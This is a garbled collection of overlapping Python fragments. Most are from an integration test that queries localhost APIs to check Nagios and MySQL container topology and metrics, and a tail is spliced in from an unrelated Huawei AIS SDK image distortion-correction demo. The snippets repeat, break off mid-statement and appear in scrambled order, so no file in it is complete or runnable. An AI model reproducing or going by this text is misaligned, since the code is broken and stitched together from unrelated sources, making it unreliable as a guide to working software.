\"{}\"'.format(topo_url))", "tags_assert_fn): for message in json_data[\"messages\"]: p = message[\"message\"][\"TopologyElement\"][\"payload\"] if \"TopologyComponent\"", "with open(\"./topic-nagios-topo-process-agents.json\", 'w') as f: json.dump(json_data, f, indent=4) external_id_pattern =", "import re from testinfra.utils.ansible_runner import AnsibleRunner import util testinfra_hosts =", "def test_nagios_mysql(host): def assert_topology(): topo_url = \"http://localhost:7070/api/topic/sts_topo_process_agents?limit=1500\" data = host.check_output('curl", "mysql container\", \"type\": \"container\", \"external_id\": lambda e_id: external_id_pattern.findall(e_id), \"tags\": lambda", "def _component_data(json_data, type_name, external_id_assert_fn, tags_assert_fn): for message in json_data[\"messages\"]: p", "== \"convertedMetric\" and message[\"message\"][\"MultiMetric\"][\"host\"] == m_host ) expected = {'nagios.http.size',", "f: json.dump(json_data, f, indent=4) def get_keys(m_host): return set( ''.join(message[\"message\"][\"MultiMetric\"][\"values\"].keys()) for", "''.join(message[\"message\"][\"MultiMetric\"][\"values\"].keys()) for message in json_data[\"messages\"] if message[\"message\"][\"MultiMetric\"][\"name\"] == \"convertedMetric\" and", "open(\"./topic-nagios-sts-multi-metrics.json\", 'w') as f: json.dump(json_data, f, indent=4) def get_keys(m_host): return", "key, value def _component_data(json_data, type_name, external_id_assert_fn, tags_assert_fn): for message in", "\"tags\": lambda t: t[\"container_name\"] == \"ubuntu_nagios_1\" }, { \"assertion\": \"Should", "\"external_id\": lambda e_id: external_id_pattern.findall(e_id), \"tags\": lambda t: t[\"container_name\"] == \"ubuntu_mysql_1\"", "json_data=json_data, type_name=c[\"type\"], external_id_assert_fn=c[\"external_id\"], tags_assert_fn=c[\"tags\"], ) is not None util.wait_until(assert_topology, 30,", "print(\"Running assertion for: \" + c[\"assertion\"]) assert _component_data( json_data=json_data, type_name=c[\"type\"],", "re from testinfra.utils.ansible_runner import AnsibleRunner import util testinfra_hosts = AnsibleRunner(os.environ['MOLECULE_INVENTORY_FILE']).get_hosts('agent-integrations')", "value def _component_data(json_data, type_name, external_id_assert_fn, tags_assert_fn): for message in json_data[\"messages\"]:", "with open(\"./topic-nagios-sts-multi-metrics.json\", 'w') as f: json.dump(json_data, f, indent=4) def get_keys(m_host):", "external_id_pattern.findall(e_id), \"tags\": lambda t: t[\"container_name\"] == \"ubuntu_mysql_1\" } ] for", "return data return None def test_nagios_mysql(host): def assert_topology(): topo_url =", "external_id_assert_fn, tags_assert_fn): for message in json_data[\"messages\"]: p = message[\"message\"][\"TopologyElement\"][\"payload\"] if", "\"container\", \"external_id\": lambda e_id: external_id_pattern.findall(e_id), \"tags\": lambda t: t[\"container_name\"] ==", "t: t[\"container_name\"] == \"ubuntu_mysql_1\" } ] for c in components:", "in json_data[\"messages\"] if message[\"message\"][\"MultiMetric\"][\"name\"] == \"convertedMetric\" and message[\"message\"][\"MultiMetric\"][\"host\"] == m_host", "import AnsibleRunner import util testinfra_hosts = AnsibleRunner(os.environ['MOLECULE_INVENTORY_FILE']).get_hosts('agent-integrations') def _get_key_value(tag_list): for", "(pair.split(':', 1) for pair in tag_list): yield key, value def", "= host.check_output('curl \"{}\"'.format(topo_url)) json_data = json.loads(data) with open(\"./topic-nagios-topo-process-agents.json\", 'w') as", "if message[\"message\"][\"MultiMetric\"][\"name\"] == \"convertedMetric\" and message[\"message\"][\"MultiMetric\"][\"host\"] == m_host ) expected", "\" + c[\"assertion\"]) assert _component_data( json_data=json_data, type_name=c[\"type\"], external_id_assert_fn=c[\"external_id\"], tags_assert_fn=c[\"tags\"], )", "for message in json_data[\"messages\"] if message[\"message\"][\"MultiMetric\"][\"name\"] == \"convertedMetric\" and message[\"message\"][\"MultiMetric\"][\"host\"]", "'w') as f: json.dump(json_data, f, indent=4) external_id_pattern = re.compile(r\"urn:container:/agent-integrations:.*\") components", "def _get_key_value(tag_list): for key, value in (pair.split(':', 1) for pair", "for c in components: print(\"Running assertion for: \" + c[\"assertion\"])", "data = host.check_output(\"curl \\\"%s\\\"\" % url) json_data = json.loads(data) with", "'nagios.current_load.load15', 'nagios.swap_usage.swap', 'nagios.host.pl', 'nagios.root_partition', 'nagios.current_users.users', 'nagios.current_load.load1', 'nagios.host.rta', 'nagios.ping.rta', 'nagios.current_load.load5', 'nagios.total_processes.procs'}", "indent=4) external_id_pattern = re.compile(r\"urn:container:/agent-integrations:.*\") components = [ { \"assertion\": \"Should", "{ \"assertion\": \"Should find the nagios container\", \"type\": \"container\", \"external_id\":", "== \"ubuntu_nagios_1\" }, { \"assertion\": \"Should find the mysql container\",", "and message[\"message\"][\"MultiMetric\"][\"host\"] == m_host ) expected = {'nagios.http.size', 'nagios.ping.pl', 'nagios.http.time',", "'nagios.host.rta', 'nagios.ping.rta', 'nagios.current_load.load5', 'nagios.total_processes.procs'} assert all([expectedMetric for expectedMetric in expected", "\\ p[\"TopologyComponent\"][\"typeName\"] == type_name and \\ external_id_assert_fn(p[\"TopologyComponent\"][\"externalId\"]): data = json.loads(p[\"TopologyComponent\"][\"data\"])", "def test_container_metrics(host): url = \"http://localhost:7070/api/topic/sts_multi_metrics?limit=1000\" def wait_for_metrics(): data = host.check_output(\"curl", "\"ubuntu_mysql_1\" } ] for c in components: print(\"Running assertion for:", "json.loads(data) with open(\"./topic-nagios-topo-process-agents.json\", 'w') as f: json.dump(json_data, f, indent=4) external_id_pattern", "url = \"http://localhost:7070/api/topic/sts_multi_metrics?limit=1000\" def wait_for_metrics(): data = host.check_output(\"curl \\\"%s\\\"\" %", "in json_data[\"messages\"]: p = message[\"message\"][\"TopologyElement\"][\"payload\"] if \"TopologyComponent\" in p and", "f, indent=4) external_id_pattern = re.compile(r\"urn:container:/agent-integrations:.*\") components = [ { \"assertion\":", "c in components: print(\"Running assertion for: \" + c[\"assertion\"]) assert", "wait_for_metrics(): data = host.check_output(\"curl \\\"%s\\\"\" % url) json_data = json.loads(data)", "\\\"%s\\\"\" % url) json_data = json.loads(data) with open(\"./topic-nagios-sts-multi-metrics.json\", 'w') as", "+ c[\"assertion\"]) assert _component_data( json_data=json_data, type_name=c[\"type\"], external_id_assert_fn=c[\"external_id\"], tags_assert_fn=c[\"tags\"], ) is", "\"TopologyComponent\" in p and \\ p[\"TopologyComponent\"][\"typeName\"] == type_name and \\", "json_data = json.loads(data) with open(\"./topic-nagios-topo-process-agents.json\", 'w') as f: json.dump(json_data, f,", "os import re from testinfra.utils.ansible_runner import AnsibleRunner import util testinfra_hosts", "import os import re from testinfra.utils.ansible_runner import AnsibleRunner import util", "\"assertion\": \"Should find the nagios container\", \"type\": \"container\", \"external_id\": lambda", "message in json_data[\"messages\"] if message[\"message\"][\"MultiMetric\"][\"name\"] == \"convertedMetric\" and message[\"message\"][\"MultiMetric\"][\"host\"] ==", "external_id_assert_fn(p[\"TopologyComponent\"][\"externalId\"]): data = json.loads(p[\"TopologyComponent\"][\"data\"]) if tags_assert_fn(dict(_get_key_value(data[\"tags\"]))): return data return None", "= [ { \"assertion\": \"Should find the nagios container\", \"type\":", "None util.wait_until(assert_topology, 30, 3) def test_container_metrics(host): url = \"http://localhost:7070/api/topic/sts_multi_metrics?limit=1000\" def", "None def test_nagios_mysql(host): def assert_topology(): topo_url = \"http://localhost:7070/api/topic/sts_topo_process_agents?limit=1500\" data =", "% url) json_data = json.loads(data) with open(\"./topic-nagios-sts-multi-metrics.json\", 'w') as f:", "= \"http://localhost:7070/api/topic/sts_topo_process_agents?limit=1500\" data = host.check_output('curl \"{}\"'.format(topo_url)) json_data = json.loads(data) with", "= message[\"message\"][\"TopologyElement\"][\"payload\"] if \"TopologyComponent\" in p and \\ p[\"TopologyComponent\"][\"typeName\"] ==", "get_keys(m_host): return set( ''.join(message[\"message\"][\"MultiMetric\"][\"values\"].keys()) for message in json_data[\"messages\"] if message[\"message\"][\"MultiMetric\"][\"name\"]", "'nagios.root_partition', 'nagios.current_users.users', 'nagios.current_load.load1', 'nagios.host.rta', 'nagios.ping.rta', 'nagios.current_load.load5', 'nagios.total_processes.procs'} assert all([expectedMetric for", "'nagios.current_users.users', 'nagios.current_load.load1', 'nagios.host.rta', 'nagios.ping.rta', 'nagios.current_load.load5', 'nagios.total_processes.procs'} assert all([expectedMetric for expectedMetric", "json.loads(p[\"TopologyComponent\"][\"data\"]) if tags_assert_fn(dict(_get_key_value(data[\"tags\"]))): return data return None def test_nagios_mysql(host): def", "pair in tag_list): yield key, value def _component_data(json_data, type_name, external_id_assert_fn,", "\"ubuntu_nagios_1\" }, { \"assertion\": \"Should find the mysql container\", \"type\":", "'nagios.total_processes.procs'} assert all([expectedMetric for expectedMetric in expected if expectedMetric in", "= \"http://localhost:7070/api/topic/sts_multi_metrics?limit=1000\" def wait_for_metrics(): data = host.check_output(\"curl \\\"%s\\\"\" % url)", "value in (pair.split(':', 1) for pair in tag_list): yield key,", "\\ external_id_assert_fn(p[\"TopologyComponent\"][\"externalId\"]): data = json.loads(p[\"TopologyComponent\"][\"data\"]) if tags_assert_fn(dict(_get_key_value(data[\"tags\"]))): return data return", "= host.check_output(\"curl \\\"%s\\\"\" % url) json_data = json.loads(data) with open(\"./topic-nagios-sts-multi-metrics.json\",", "= AnsibleRunner(os.environ['MOLECULE_INVENTORY_FILE']).get_hosts('agent-integrations') def _get_key_value(tag_list): for key, value in (pair.split(':', 1)", "and \\ p[\"TopologyComponent\"][\"typeName\"] == type_name and \\ external_id_assert_fn(p[\"TopologyComponent\"][\"externalId\"]): data =", "\"Should find the nagios container\", \"type\": \"container\", \"external_id\": lambda e_id:", "t[\"container_name\"] == \"ubuntu_nagios_1\" }, { \"assertion\": \"Should find the mysql", "'nagios.current_load.load1', 'nagios.host.rta', 'nagios.ping.rta', 'nagios.current_load.load5', 'nagios.total_processes.procs'} assert all([expectedMetric for expectedMetric in", "components = [ { \"assertion\": \"Should find the nagios container\",", "AnsibleRunner import util testinfra_hosts = AnsibleRunner(os.environ['MOLECULE_INVENTORY_FILE']).get_hosts('agent-integrations') def _get_key_value(tag_list): for key,", "for expectedMetric in expected if expectedMetric in get_keys(\"agent-integrations\")]) util.wait_until(wait_for_metrics, 180,", "message[\"message\"][\"MultiMetric\"][\"name\"] == \"convertedMetric\" and message[\"message\"][\"MultiMetric\"][\"host\"] == m_host ) expected =", "[ { \"assertion\": \"Should find the nagios container\", \"type\": \"container\",", "from testinfra.utils.ansible_runner import AnsibleRunner import util testinfra_hosts = AnsibleRunner(os.environ['MOLECULE_INVENTORY_FILE']).get_hosts('agent-integrations') def", "container\", \"type\": \"container\", \"external_id\": lambda e_id: external_id_pattern.findall(e_id), \"tags\": lambda t:", "host.check_output('curl \"{}\"'.format(topo_url)) json_data = json.loads(data) with open(\"./topic-nagios-topo-process-agents.json\", 'w') as f:", "e_id: external_id_pattern.findall(e_id), \"tags\": lambda t: t[\"container_name\"] == \"ubuntu_nagios_1\" }, {", "\"convertedMetric\" and message[\"message\"][\"MultiMetric\"][\"host\"] == m_host ) expected = {'nagios.http.size', 'nagios.ping.pl',", "p[\"TopologyComponent\"][\"typeName\"] == type_name and \\ external_id_assert_fn(p[\"TopologyComponent\"][\"externalId\"]): data = json.loads(p[\"TopologyComponent\"][\"data\"]) if", "yield key, value def _component_data(json_data, type_name, external_id_assert_fn, tags_assert_fn): for message", "data return None def test_nagios_mysql(host): def assert_topology(): topo_url = \"http://localhost:7070/api/topic/sts_topo_process_agents?limit=1500\"", "\"tags\": lambda t: t[\"container_name\"] == \"ubuntu_mysql_1\" } ] for c", "assertion for: \" + c[\"assertion\"]) assert _component_data( json_data=json_data, type_name=c[\"type\"], external_id_assert_fn=c[\"external_id\"],", "== m_host ) expected = {'nagios.http.size', 'nagios.ping.pl', 'nagios.http.time', 'nagios.current_load.load15', 'nagios.swap_usage.swap',", "AnsibleRunner(os.environ['MOLECULE_INVENTORY_FILE']).get_hosts('agent-integrations') def _get_key_value(tag_list): for key, value in (pair.split(':', 1) for", "{'nagios.http.size', 'nagios.ping.pl', 'nagios.http.time', 'nagios.current_load.load15', 'nagios.swap_usage.swap', 'nagios.host.pl', 'nagios.root_partition', 'nagios.current_users.users', 'nagios.current_load.load1', 'nagios.host.rta',", "json.loads(data) with open(\"./topic-nagios-sts-multi-metrics.json\", 'w') as f: json.dump(json_data, f, indent=4) def", "find the nagios container\", \"type\": \"container\", \"external_id\": lambda e_id: external_id_pattern.findall(e_id),", "open(\"./topic-nagios-topo-process-agents.json\", 'w') as f: json.dump(json_data, f, indent=4) external_id_pattern = re.compile(r\"urn:container:/agent-integrations:.*\")", "json.dump(json_data, f, indent=4) def get_keys(m_host): return set( ''.join(message[\"message\"][\"MultiMetric\"][\"values\"].keys()) for message", "all([expectedMetric for expectedMetric in expected if expectedMetric in get_keys(\"agent-integrations\")]) util.wait_until(wait_for_metrics,", "] for c in components: print(\"Running assertion for: \" +", "f, indent=4) def get_keys(m_host): return set( ''.join(message[\"message\"][\"MultiMetric\"][\"values\"].keys()) for message in", "m_host ) expected = {'nagios.http.size', 'nagios.ping.pl', 'nagios.http.time', 'nagios.current_load.load15', 'nagios.swap_usage.swap', 'nagios.host.pl',", "t: t[\"container_name\"] == \"ubuntu_nagios_1\" }, { \"assertion\": \"Should find the", "\"type\": \"container\", \"external_id\": lambda e_id: external_id_pattern.findall(e_id), \"tags\": lambda t: t[\"container_name\"]", "{ \"assertion\": \"Should find the mysql container\", \"type\": \"container\", \"external_id\":", "the mysql container\", \"type\": \"container\", \"external_id\": lambda e_id: external_id_pattern.findall(e_id), \"tags\":", "for: \" + c[\"assertion\"]) assert _component_data( json_data=json_data, type_name=c[\"type\"], external_id_assert_fn=c[\"external_id\"], tags_assert_fn=c[\"tags\"],", ") is not None util.wait_until(assert_topology, 30, 3) def test_container_metrics(host): url", "for message in json_data[\"messages\"]: p = message[\"message\"][\"TopologyElement\"][\"payload\"] if \"TopologyComponent\" in", "\"http://localhost:7070/api/topic/sts_multi_metrics?limit=1000\" def wait_for_metrics(): data = host.check_output(\"curl \\\"%s\\\"\" % url) json_data", "url) json_data = json.loads(data) with open(\"./topic-nagios-sts-multi-metrics.json\", 'w') as f: json.dump(json_data,", "message[\"message\"][\"TopologyElement\"][\"payload\"] if \"TopologyComponent\" in p and \\ p[\"TopologyComponent\"][\"typeName\"] == type_name", "is not None util.wait_until(assert_topology, 30, 3) def test_container_metrics(host): url =", "expectedMetric in expected if expectedMetric in get_keys(\"agent-integrations\")]) util.wait_until(wait_for_metrics, 180, 3)", "return None def test_nagios_mysql(host): def assert_topology(): topo_url = \"http://localhost:7070/api/topic/sts_topo_process_agents?limit=1500\" data", "3) def test_container_metrics(host): url = \"http://localhost:7070/api/topic/sts_multi_metrics?limit=1000\" def wait_for_metrics(): data =", "in components: print(\"Running assertion for: \" + c[\"assertion\"]) assert _component_data(", "'nagios.ping.pl', 'nagios.http.time', 'nagios.current_load.load15', 'nagios.swap_usage.swap', 'nagios.host.pl', 'nagios.root_partition', 'nagios.current_users.users', 'nagios.current_load.load1', 'nagios.host.rta', 'nagios.ping.rta',", "= {'nagios.http.size', 'nagios.ping.pl', 'nagios.http.time', 'nagios.current_load.load15', 'nagios.swap_usage.swap', 'nagios.host.pl', 'nagios.root_partition', 'nagios.current_users.users', 'nagios.current_load.load1',", "not None util.wait_until(assert_topology, 30, 3) def test_container_metrics(host): url = \"http://localhost:7070/api/topic/sts_multi_metrics?limit=1000\"", "\"assertion\": \"Should find the mysql container\", \"type\": \"container\", \"external_id\": lambda", "as f: json.dump(json_data, f, indent=4) def get_keys(m_host): return set( ''.join(message[\"message\"][\"MultiMetric\"][\"values\"].keys())", "in tag_list): yield key, value def _component_data(json_data, type_name, external_id_assert_fn, tags_assert_fn):", "\"http://localhost:7070/api/topic/sts_topo_process_agents?limit=1500\" data = host.check_output('curl \"{}\"'.format(topo_url)) json_data = json.loads(data) with open(\"./topic-nagios-topo-process-agents.json\",", "\"{}\"'.format(topo_url)) json_data = json.loads(data) with open(\"./topic-nagios-topo-process-agents.json\", 'w') as f: json.dump(json_data,", "def assert_topology(): topo_url = \"http://localhost:7070/api/topic/sts_topo_process_agents?limit=1500\" data = host.check_output('curl \"{}\"'.format(topo_url)) json_data", "for key, value in (pair.split(':', 1) for pair in tag_list):", "util testinfra_hosts = AnsibleRunner(os.environ['MOLECULE_INVENTORY_FILE']).get_hosts('agent-integrations') def _get_key_value(tag_list): for key, value in", "def wait_for_metrics(): data = host.check_output(\"curl \\\"%s\\\"\" % url) json_data =", "json.dump(json_data, f, indent=4) external_id_pattern = re.compile(r\"urn:container:/agent-integrations:.*\") components = [ {", "= re.compile(r\"urn:container:/agent-integrations:.*\") components = [ { \"assertion\": \"Should find the", "'w') as f: json.dump(json_data, f, indent=4) def get_keys(m_host): return set(", "in (pair.split(':', 1) for pair in tag_list): yield key, value", "type_name and \\ external_id_assert_fn(p[\"TopologyComponent\"][\"externalId\"]): data = json.loads(p[\"TopologyComponent\"][\"data\"]) if tags_assert_fn(dict(_get_key_value(data[\"tags\"]))): return", "nagios container\", \"type\": \"container\", \"external_id\": lambda e_id: external_id_pattern.findall(e_id), \"tags\": lambda", "lambda t: t[\"container_name\"] == \"ubuntu_mysql_1\" } ] for c in", "def get_keys(m_host): return set( ''.join(message[\"message\"][\"MultiMetric\"][\"values\"].keys()) for message in json_data[\"messages\"] if", "for pair in tag_list): yield key, value def _component_data(json_data, type_name,", "external_id_assert_fn=c[\"external_id\"], tags_assert_fn=c[\"tags\"], ) is not None util.wait_until(assert_topology, 30, 3) def", "test_container_metrics(host): url = \"http://localhost:7070/api/topic/sts_multi_metrics?limit=1000\" def wait_for_metrics(): data = host.check_output(\"curl \\\"%s\\\"\"", "}, { \"assertion\": \"Should find the mysql container\", \"type\": \"container\",", "p = message[\"message\"][\"TopologyElement\"][\"payload\"] if \"TopologyComponent\" in p and \\ p[\"TopologyComponent\"][\"typeName\"]", "and \\ external_id_assert_fn(p[\"TopologyComponent\"][\"externalId\"]): data = json.loads(p[\"TopologyComponent\"][\"data\"]) if tags_assert_fn(dict(_get_key_value(data[\"tags\"]))): return data", "\"external_id\": lambda e_id: external_id_pattern.findall(e_id), \"tags\": lambda t: t[\"container_name\"] == \"ubuntu_nagios_1\"", "type_name, external_id_assert_fn, tags_assert_fn): for message in json_data[\"messages\"]: p = message[\"message\"][\"TopologyElement\"][\"payload\"]", "tag_list): yield key, value def _component_data(json_data, type_name, external_id_assert_fn, tags_assert_fn): for", "data = host.check_output('curl \"{}\"'.format(topo_url)) json_data = json.loads(data) with open(\"./topic-nagios-topo-process-agents.json\", 'w')", "p and \\ p[\"TopologyComponent\"][\"typeName\"] == type_name and \\ external_id_assert_fn(p[\"TopologyComponent\"][\"externalId\"]): data", "json_data[\"messages\"]: p = message[\"message\"][\"TopologyElement\"][\"payload\"] if \"TopologyComponent\" in p and \\", "the nagios container\", \"type\": \"container\", \"external_id\": lambda e_id: external_id_pattern.findall(e_id), \"tags\":", "testinfra_hosts = AnsibleRunner(os.environ['MOLECULE_INVENTORY_FILE']).get_hosts('agent-integrations') def _get_key_value(tag_list): for key, value in (pair.split(':'," ]
[ "commit -m \"{msg}\"') @contextmanager def cd_into(dirpath): wd = os.getcwd() os.chdir(dirpath)", "--local user.email \"<EMAIL>\"') c.run('git config --local user.name \"CI/CD\"') c.run(f'git add", "sys from contextlib import contextmanager from invoke import UnexpectedExit def", "from invoke import UnexpectedExit def git_commit(c, addstr, msg): try: c.run(\"git", "cd_into(dirpath): wd = os.getcwd() os.chdir(dirpath) sys.path.insert(0, str(dirpath)) yield os.chdir(wd) sys.path.pop(0)", "\"CI/CD\"') c.run(f'git add {addstr} && git commit -m \"{msg}\"') @contextmanager", "c.run('git config --local user.name \"CI/CD\"') c.run(f'git add {addstr} && git", "c.run(\"git config --get user.email\") c.run(\"git config --get user.name\") except UnexpectedExit:", "from contextlib import contextmanager from invoke import UnexpectedExit def git_commit(c,", "import UnexpectedExit def git_commit(c, addstr, msg): try: c.run(\"git config --get", "--get user.email\") c.run(\"git config --get user.name\") except UnexpectedExit: c.run('git config", "{addstr} && git commit -m \"{msg}\"') @contextmanager def cd_into(dirpath): wd", "user.name\") except UnexpectedExit: c.run('git config --local user.email \"<EMAIL>\"') c.run('git config", "--local user.name \"CI/CD\"') c.run(f'git add {addstr} && git commit -m", "\"{msg}\"') @contextmanager def cd_into(dirpath): wd = os.getcwd() os.chdir(dirpath) sys.path.insert(0, str(dirpath))", "def cd_into(dirpath): wd = os.getcwd() os.chdir(dirpath) sys.path.insert(0, str(dirpath)) yield os.chdir(wd)", "config --local user.email \"<EMAIL>\"') c.run('git config --local user.name \"CI/CD\"') c.run(f'git", "import sys from contextlib import contextmanager from invoke import UnexpectedExit", "UnexpectedExit: c.run('git config --local user.email \"<EMAIL>\"') c.run('git config --local user.name", "add {addstr} && git commit -m \"{msg}\"') @contextmanager def cd_into(dirpath):", "UnexpectedExit def git_commit(c, addstr, msg): try: c.run(\"git config --get user.email\")", "contextlib import contextmanager from invoke import UnexpectedExit def git_commit(c, addstr,", "user.email\") c.run(\"git config --get user.name\") except UnexpectedExit: c.run('git config --local", "msg): try: c.run(\"git config --get user.email\") c.run(\"git config --get user.name\")", "git commit -m \"{msg}\"') @contextmanager def cd_into(dirpath): wd = os.getcwd()", "import contextmanager from invoke import UnexpectedExit def git_commit(c, addstr, msg):", "contextmanager from invoke import UnexpectedExit def git_commit(c, addstr, msg): try:", "&& git commit -m \"{msg}\"') @contextmanager def cd_into(dirpath): wd =", "--get user.name\") except UnexpectedExit: c.run('git config --local user.email \"<EMAIL>\"') c.run('git", "@contextmanager def cd_into(dirpath): wd = os.getcwd() os.chdir(dirpath) sys.path.insert(0, str(dirpath)) yield", "user.name \"CI/CD\"') c.run(f'git add {addstr} && git commit -m \"{msg}\"')", "os import sys from contextlib import contextmanager from invoke import", "def git_commit(c, addstr, msg): try: c.run(\"git config --get user.email\") c.run(\"git", "c.run('git config --local user.email \"<EMAIL>\"') c.run('git config --local user.name \"CI/CD\"')", "config --local user.name \"CI/CD\"') c.run(f'git add {addstr} && git commit", "except UnexpectedExit: c.run('git config --local user.email \"<EMAIL>\"') c.run('git config --local", "c.run(f'git add {addstr} && git commit -m \"{msg}\"') @contextmanager def", "addstr, msg): try: c.run(\"git config --get user.email\") c.run(\"git config --get", "c.run(\"git config --get user.name\") except UnexpectedExit: c.run('git config --local user.email", "import os import sys from contextlib import contextmanager from invoke", "-m \"{msg}\"') @contextmanager def cd_into(dirpath): wd = os.getcwd() os.chdir(dirpath) sys.path.insert(0,", "invoke import UnexpectedExit def git_commit(c, addstr, msg): try: c.run(\"git config", "\"<EMAIL>\"') c.run('git config --local user.name \"CI/CD\"') c.run(f'git add {addstr} &&", "config --get user.name\") except UnexpectedExit: c.run('git config --local user.email \"<EMAIL>\"')", "user.email \"<EMAIL>\"') c.run('git config --local user.name \"CI/CD\"') c.run(f'git add {addstr}", "try: c.run(\"git config --get user.email\") c.run(\"git config --get user.name\") except", "config --get user.email\") c.run(\"git config --get user.name\") except UnexpectedExit: c.run('git", "git_commit(c, addstr, msg): try: c.run(\"git config --get user.email\") c.run(\"git config" ]
[ "init_global_env import json if __name__ == '__main__': # # access", "True) result_obj = json.loads(result) if result_obj['result']['data'] != '': decode_to_wave_file(result_obj['result']['data'], 'data/moderation-distortion-aksk-2.png')", "means do not correction result = distortion_correct_aksk(app_key, app_secret, \"\", demo_data_url,", "interface use the file result = distortion_correct_aksk(app_key, app_secret, encode_to_base64('data/moderation-distortion.jpg'), '',", "import init_global_env import json if __name__ == '__main__': # #", "app_secret, \"\", demo_data_url, True) result_obj = json.loads(result) if result_obj['result']['data'] !=", "from ais_sdk.utils import init_global_env import json if __name__ == '__main__':", "import decode_to_wave_file from ais_sdk.distortion_correct import distortion_correct_aksk from ais_sdk.utils import init_global_env", "ak,sk # app_key = '*************' app_secret = '************' init_global_env(region='cn-north-1') demo_data_url", "encode_to_base64('data/moderation-distortion.jpg'), '', True) result_obj = json.loads(result) if result_obj['result']['data'] != '':", "coding:utf-8 -*- from ais_sdk.utils import encode_to_base64 from ais_sdk.utils import decode_to_wave_file", "import distortion_correct_aksk from ais_sdk.utils import init_global_env import json if __name__", "print(result) # call interface use the file result = distortion_correct_aksk(app_key,", "do not correction result = distortion_correct_aksk(app_key, app_secret, \"\", demo_data_url, True)", "result = distortion_correct_aksk(app_key, app_secret, \"\", demo_data_url, True) result_obj = json.loads(result)", "app_secret = '************' init_global_env(region='cn-north-1') demo_data_url = 'https://ais-sample-data.obs.cn-north-1.myhuaweicloud.com/vat-invoice.jpg' #call interface use", "result_obj = json.loads(result) if result_obj['result']['data'] != '': decode_to_wave_file(result_obj['result']['data'], 'data/moderation-distortion-aksk-1.png') else:", "not correction result = distortion_correct_aksk(app_key, app_secret, \"\", demo_data_url, True) result_obj", "import encode_to_base64 from ais_sdk.utils import decode_to_wave_file from ais_sdk.distortion_correct import distortion_correct_aksk", "access moderation distortion correct.post data by ak,sk # app_key =", "= '*************' app_secret = '************' init_global_env(region='cn-north-1') demo_data_url = 'https://ais-sample-data.obs.cn-north-1.myhuaweicloud.com/vat-invoice.jpg' #call", "the file result = distortion_correct_aksk(app_key, app_secret, encode_to_base64('data/moderation-distortion.jpg'), '', True) result_obj", "!= '': decode_to_wave_file(result_obj['result']['data'], 'data/moderation-distortion-aksk-1.png') else: print(result) # call interface use", "call interface use the file result = distortion_correct_aksk(app_key, app_secret, encode_to_base64('data/moderation-distortion.jpg'),", "= '************' init_global_env(region='cn-north-1') demo_data_url = 'https://ais-sample-data.obs.cn-north-1.myhuaweicloud.com/vat-invoice.jpg' #call interface use the", "True) result_obj = json.loads(result) if result_obj['result']['data'] != '': decode_to_wave_file(result_obj['result']['data'], 'data/moderation-distortion-aksk-1.png')", "demo_data_url, True) result_obj = json.loads(result) if result_obj['result']['data'] != '': decode_to_wave_file(result_obj['result']['data'],", "'data/moderation-distortion-aksk-1.png') else: print(result) # call interface use the file result", "-*- coding:utf-8 -*- from ais_sdk.utils import encode_to_base64 from ais_sdk.utils import", "app_key = '*************' app_secret = '************' init_global_env(region='cn-north-1') demo_data_url = 'https://ais-sample-data.obs.cn-north-1.myhuaweicloud.com/vat-invoice.jpg'", "'************' init_global_env(region='cn-north-1') demo_data_url = 'https://ais-sample-data.obs.cn-north-1.myhuaweicloud.com/vat-invoice.jpg' #call interface use the url", "true means do not correction result = distortion_correct_aksk(app_key, app_secret, \"\",", "# app_key = '*************' app_secret = '************' init_global_env(region='cn-north-1') demo_data_url =", "ais_sdk.utils import decode_to_wave_file from ais_sdk.distortion_correct import distortion_correct_aksk from ais_sdk.utils import", "result = distortion_correct_aksk(app_key, app_secret, encode_to_base64('data/moderation-distortion.jpg'), '', True) result_obj = json.loads(result)", "<filename>python3/distortion_correct_aksk_demo.py # -*- coding:utf-8 -*- from ais_sdk.utils import encode_to_base64 from", "distortion_correct_aksk from ais_sdk.utils import init_global_env import json if __name__ ==", "demo_data_url = 'https://ais-sample-data.obs.cn-north-1.myhuaweicloud.com/vat-invoice.jpg' #call interface use the url correction is", "= distortion_correct_aksk(app_key, app_secret, \"\", demo_data_url, True) result_obj = json.loads(result) if", "\"\", demo_data_url, True) result_obj = json.loads(result) if result_obj['result']['data'] != '':", "= json.loads(result) if result_obj['result']['data'] != '': decode_to_wave_file(result_obj['result']['data'], 'data/moderation-distortion-aksk-1.png') else: print(result)", "__name__ == '__main__': # # access moderation distortion correct.post data", "by ak,sk # app_key = '*************' app_secret = '************' init_global_env(region='cn-north-1')", "is true means do not correction result = distortion_correct_aksk(app_key, app_secret,", "use the file result = distortion_correct_aksk(app_key, app_secret, encode_to_base64('data/moderation-distortion.jpg'), '', True)", "'*************' app_secret = '************' init_global_env(region='cn-north-1') demo_data_url = 'https://ais-sample-data.obs.cn-north-1.myhuaweicloud.com/vat-invoice.jpg' #call interface", "distortion correct.post data by ak,sk # app_key = '*************' app_secret", "encode_to_base64 from ais_sdk.utils import decode_to_wave_file from ais_sdk.distortion_correct import distortion_correct_aksk from", "distortion_correct_aksk(app_key, app_secret, \"\", demo_data_url, True) result_obj = json.loads(result) if result_obj['result']['data']", "'': decode_to_wave_file(result_obj['result']['data'], 'data/moderation-distortion-aksk-1.png') else: print(result) # call interface use the", "interface use the url correction is true means do not", "result_obj['result']['data'] != '': decode_to_wave_file(result_obj['result']['data'], 'data/moderation-distortion-aksk-1.png') else: print(result) # call interface", "from ais_sdk.utils import decode_to_wave_file from ais_sdk.distortion_correct import distortion_correct_aksk from ais_sdk.utils", "decode_to_wave_file from ais_sdk.distortion_correct import distortion_correct_aksk from ais_sdk.utils import init_global_env import", "result_obj = json.loads(result) if result_obj['result']['data'] != '': decode_to_wave_file(result_obj['result']['data'], 'data/moderation-distortion-aksk-2.png') else:", "ais_sdk.utils import encode_to_base64 from ais_sdk.utils import decode_to_wave_file from ais_sdk.distortion_correct import", "# access moderation distortion correct.post data by ak,sk # app_key", "decode_to_wave_file(result_obj['result']['data'], 'data/moderation-distortion-aksk-1.png') else: print(result) # call interface use the file", "the url correction is true means do not correction result", "'', True) result_obj = json.loads(result) if result_obj['result']['data'] != '': decode_to_wave_file(result_obj['result']['data'],", "== '__main__': # # access moderation distortion correct.post data by", "# -*- coding:utf-8 -*- from ais_sdk.utils import encode_to_base64 from ais_sdk.utils", "from ais_sdk.utils import encode_to_base64 from ais_sdk.utils import decode_to_wave_file from ais_sdk.distortion_correct", "json.loads(result) if result_obj['result']['data'] != '': decode_to_wave_file(result_obj['result']['data'], 'data/moderation-distortion-aksk-1.png') else: print(result) #", "= 'https://ais-sample-data.obs.cn-north-1.myhuaweicloud.com/vat-invoice.jpg' #call interface use the url correction is true", "else: print(result) # call interface use the file result =", "= json.loads(result) if 